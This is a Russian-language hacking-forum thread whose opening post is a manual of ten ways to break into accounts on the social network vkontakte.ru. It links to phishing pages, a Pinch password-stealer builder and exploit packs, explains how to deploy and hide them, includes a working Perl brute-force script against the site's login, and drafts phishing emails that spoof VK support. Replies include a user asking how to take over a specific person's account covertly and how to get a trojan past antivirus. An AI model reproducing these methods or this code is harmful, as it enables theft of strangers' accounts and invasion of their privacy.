quote:

ORIGINAL: [ TRaY ]

Так как частенько новички стали задовать вопросы о том как взломать учетку вконтакте, то решил написать статью-мануал по этому поводу, которая поможет получить ответы на многие вопросы.
—————————————————————
10 способов взлома анкеты vkontakte.ru
—————————————————————
Что нам потребуется:
Умение настраивать пинч(если это у вас уже получилось, то остальные 2 требования можно не смотреть)
Прямые руки
Хоть капелька мозга
1) Через мыло, если мы его знаем то уже все проще, ведь имеется как минимум 15 методов взлома почты…НО есть и еще один минус, если пароль "корявый", он

разумеется надежный, но с его восстановлением проблемы, когда такой высылают на почту, то он принемает "левый" вид, и соответственно не работает. не в этом

суть, поэтому останавливаться не будем
2) Фейк, достаточно простой способ, кидаем ссылку жертве любым способом(ася, через лс и тд) скачать его можно по ссылке http://slil.ru/25774471
3) Троян. Эту категорию мы разделим на другие.
а) Скинуть "чистый" файл, либо ссылку на загрузку его, но тут еще надо чтобы пользователь его запустил. http://slil.ru/25774480 - здесь лежит билдер пинча, а

здесь парсер http://slil.ru/25774491 , если вы захотите чтобы отчеты шли на гейт - вот подходящий от Генома - http://slil.ru/25774495
б) кейлогер - менее полезный, но если жертва его "словит" и вы покопаетесь(причем оочень долго) с отчетом, то пароль получите 100%
в) Сплоит, тут ничего сложного нету, НО ЕСТЬ МИНУС! Паблик сплоиты пробивают в основном ие6 и то, примерно, 6/10(имхо)
Советую армитаж(айс пак тоже в теме). Прост в настройке, нужно только создать базу мускуль(делается в пару кликов), и отредактировать файлы(db.php

config.php), после того как зальете на хост, выставляем нужные права, на папку load - 777. config.php - 777
Скачать 3 связки можно по ссылке http://slil.ru/25776403 - здесь лежат мпак, айспак и армитаж
ЗЫ когда будете настраивать пинч, устанавите права на гейт 775, на папку в которую будут идти отчеты - 777, и не забывайте что не надо называть папку с

отчетами OtchetyOTpincha, имхо палевно, лучше назовите 404 или еще как, ну что бы внимания не привлекало…Папку в которой будет лежать сплоит, тоже

переиминуйте на что-нить типа myphotos и тд… тк люди будут эту ссылку себе в браузер пихать, не нужно что бы там было написанно EXPLOIT…лишнее палево ни

к чему…
Идем дальше…
Надеюсь, пинч уже настроен на гейт или почту, желательно что бы он еще и закриптованный был.
Заходим по ссылке на файл install.php нашего сплоита, а потом идем в админку, устанавливаем настройки, выбераем файл который будет грузится жертве, теперь он

будет лежать в папке load под именем file.
Кидаем ссылку жертве, и ждем с надеждой что ее пробьет и отчет с паролем нам придет.
4)Брутфорс, как всем известно - перебор паролей. Способ долгий, и не всегда сработает(в случае пароля D5&%-AefV)
Для этого брутфорсера нам потребуется активперл скачать мона тут http://download.softportal.com/softw…ctiveperl.html либо по ссылке

http://www.denwer.ru/packages/perl.html
Код брутфорсера:

quote:

#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

open (pass, "<$dic");

Next:
@pass = pass();

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozillo\r\n".
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
"Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}

}

goto Next;

sub pass
{
my (@mas);
while (<pass>){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}

Не забудьте сменить разширение на brut.pl
$dic = ‘passl.txt’; #паслист для брдутфорсера
$id = 1; #айдишник цели(его можно взять из адресной строки когда вы зашли на страницу жертвы)
$mail = ‘мыло’; #мыло, значек @ меняем на %40
$threads = Х; # где Х - количество потоков
Если вам лень копаться со всем этим, то есть неплохой брут на С. Скачать его можно по ссылке http://slil.ru/25774498, сразу говорю, если не запускается - это

ваши проблемы, ибо все прекрасно работает!
5)Имхо самый надежный способ, открываем исходник нашего фейка, закидываем в него наш код iframe…
Теперь, когда жертва перейдет на нашу ссылку, мы увеличиваем вероятность того, что юзера пробьет, либо через браузер, либо через тупость, тк теперь у нас на

ссылке комбинированная атака на мозг(фейк) и браузер(код iframe).
6)Способ приводится много где, здесь нужно поискать сайты на которых сидит жертва(форумы, почта и пр) и попытаться похекать что-то из вышеперечисленного,

авось найдем старый заброшенный пароль, а он подойдет.
7) как обычно СИ, пробуем отправить письмо от адресата [email=durov@vkontakte.ru]durov@vkontakte.ru[/email] или [email=support@vkontakte.ru]support@vkontakte.ru[/email] с текстом типа, ваша страница на сайте vkontakte.ru будет

заблокированна через N дней, если вы не подтвердите какую-нить хрень, методом отправки нам пароля.
Или, можно прислать письмо типа, вам пришло личное сообщение/открытка и пр, от такого-то пользователя, что бы ее прочитать перейдите по ссылке, а ссылка

будет вести на наш фейк.
Что-бы отправить письмо с "левого" адреса, нужен какой-нить майлер, например, этот http://softnic.ru/soft/programm_4223.html, либо любой подходящий для вас

из гугла.
Только не забудьте зарегить себе не привлекающее мыло, похожее на суппортское, и вписать его в поле копия.(что бы пароли пришли именно вам на почту)
8) Снифер, тут лучше отправлять его на почту(если мы знаем мыло), тогда мы без лишних проблем сможем перехватить сессию, и с помощью системы восстановления

пароля на сайте вконтакте получить письмо с паролем.
http://forum.antichat.ru/showthread.php?p=457280
Есть сниферы и получше, но они платные, все же тема распространена и в гуле можно ввсести запрос на пхп снифер и найти много полезной инфы.
9)ХSS, паблик дырок на этом сайте нету, так что кража кукисов маловероятна, хотя если ооочень долго подождать, то можно и дождаться паблик уязвимости - но

такой подход к делу бредовый, поэтому останавливаться на нем не будем.
10) Самый простой способ, единственное что от вас требуется - уметь работать с платежными системами и иметь деньги. Просто закажите взлом если вам не помог

ни один из 9 пунктов, может найдется умелец который сломает неприступную жертву. Поискать такогого можно здесь - http://forum.xakep.ru/forumid_308/tt.htm
Перед тем как задать вопрос воспользуйтесь полезными ссылками:
google.ru
http://www.poiskinfo.net/stat/st1.php
http://segfault.kiev.ua/smart-questions-ru.html
http://penguin.kurgan.ru/doc/Perl/perlfaq1.htm
Ну и на последок - googleforidiots.com
На этом все, надеюсь вам не особо скучно было при чтении всего этого.
(с) [ TRaY ]

quote:

ORIGINAL: Monika Levinsky

Меня осудили за взлом вконтакте, дали 10 мес условно!!!
не повторяйте моих ошибок!!
мои деяния попали под статью 272 часть 1, и статья 138 часть 1.

quote:

ORIGINAL: Monika Levinsky

Меня осудили за взлом вконтакте, дали 10 мес условно!!!
не повторяйте моих ошибок!!
мои деяния попали под статью 272 часть 1, и статья 138 часть 1.

quote:

ORIGINAL: Kostuanz

quote:

ORIGINAL: Monika Levinsky

Меня осудили за взлом вконтакте, дали 10 мес условно!!!
не повторяйте моих ошибок!!
мои деяния попали под статью 272 часть 1, и статья 138 часть 1.

Вот интересно зарегался специально что бы сказать что тебя осудили?? =) Как нашли нтересно?
Сори за офтоп просто очень интересно….

quote:

ORIGINAL: dot1q

Народ-помогите пожалуйста чайнику подобрать способ взлома- есть доступ к компу ( не очень долгий)). Он постоянно выходит из контакта,то есть все данный остаются в веб форме как автозаполнение -он всегда нажимает вход/выход.попробовать смотреть в кукисах? они на всех компах в одной папке лежат ? Temp int fiels?

quote:

ORIGINAL: dot1q

а антивирь его видит? пользователь вообще его присутствие может заметить?

quote:

ORIGINAL: dot1q

а как криптовать?) это вообще что значит? а если антивирь его обнаружит или не даст поставить?
и почему именно эта прога? она самая нормальная?

quote:

ORIGINAL: dot1q

сорри, про криптор еще и здесь написано). а джойнер нужен? или и так эта прога беспалевная?

quote:

ORIGINAL: dot1q

а если не впаривать, он "в невидимом режиме может установиться?".

quote:

ORIGINAL: Monika Levinsky

Меня осудили за взлом вконтакте, дали 10 мес условно!!!
не повторяйте моих ошибок!!
мои деяния попали под статью 272 часть 1, и статья 138 часть 1.

quote:

ORIGINAL: SharoV

Интересуюсь
какие есть программы вконтакте? не трояны!

для PR? накрутки подписчиков и т.п ?

которые реально работают?

quote:

2) Фейк, достаточно простой способ, кидаем ссылку жертве любым способом(ася, через лс и тд) скачать его можно по ссылке http://slil.ru/25774471

quote:

ORIGINAL: [ TRaY ]

2) Фейк, достаточно простой способ, кидаем ссылку жертве любым способом(ася, через лс и тд) скачать его можно по ссылке http://slil.ru/25774471